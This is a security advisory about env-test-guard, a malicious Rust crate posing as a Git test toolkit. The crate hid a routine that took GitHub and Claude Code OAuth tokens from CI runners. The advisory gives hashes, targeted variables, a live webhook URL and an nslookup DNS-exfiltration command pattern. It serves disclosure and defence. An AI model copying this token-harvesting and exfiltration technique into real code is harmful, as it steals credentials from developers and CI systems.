GCVE-110-OSM-2026-14821

env-test-guard poses as a Rust test toolkit for Git-based projects (temp repos, env guards, fixture builders). Its GitEnv::detect(), which the crate's own README examples call, runs a hidden "CI preflight" that steals GitHub tokens and Claude Code OAuth tokens from CI runners: 0.3.0 encrypts and POSTs them to webhook.site, 0.2.0 leaks them in cleartext via DNS lookups under buri.dns.praetorianlabs.com. The DNS domain belongs to security firm Praetorian, so this may be a red-team exercise, but it exfiltrates real credentials. The crate has since been removed from crates.io. === PAYLOAD 1: 0.3.0 webhook exfiltration === Malicious payload found in: src/git_env.rs (lines 166-253, fn ci_preflight) SHA256 (src/git_env.rs): 49e05003243918712625ad182b0e249af9805f76a0e69f5cbbd31954f57c0f94 Targeted env vars: GITHUB_TOKEN, GH_TOKEN, INPUT_GITHUB_TOKEN, INPUT_CLAUDE_CODE_OAUTH_TOKEN Exfil URL: https://webhook.site/fcd2a057-9288-4ac1-9c62-e6f57e6c7403 Behavior: each token is encrypted with `openssl enc -aes-256-cbc -pbkdf2` under a passphrase embedded in the same file, then POSTed with curl as X-Env-<n> headers. Anyone with the crate can decrypt. Env var names and endpoint are hidden as hex-escaped strings and byte arrays. === PAYLOAD 2: 0.2.0 DNS exfiltration === Malicious payload found in: src/git_env.rs (lines 166-196, fn ci_preflight) SHA256 (src/git_env.rs): 4f29f8dde3a9860ade47a6a7ab1b2599b39c3d6f9ac1f491c2bb3be3bfa1148a Targeted env vars: INPUT_GITHUB_TOKEN, INPUT_CLAUDE_CODE_OAUTH_TOKEN Exfil domain: buri.dns.praetorianlabs.com Behavior: runs `nslookup <token>.buri.dns.praetorianlabs.com`, sending each token in cleartext to the domain's authoritative name server. Trigger: no build.rs; runs at runtime in any test or program calling GitEnv::detect(), in practice on GitHub Actions runners (INPUT_* are action `with:` inputs, e.g. Claude Code Action OAuth token). Published 2026-03-24 (0.2.0) and 2026-03-25 (0.3.0). Provenance: IOCs and file hashes are from OSV MAL-2026-18776 (finder: Bitbison). The crate was deleted from crates.io before OSM could re-download it (as of 2026-11-11), so the hashes were not independently recomputed.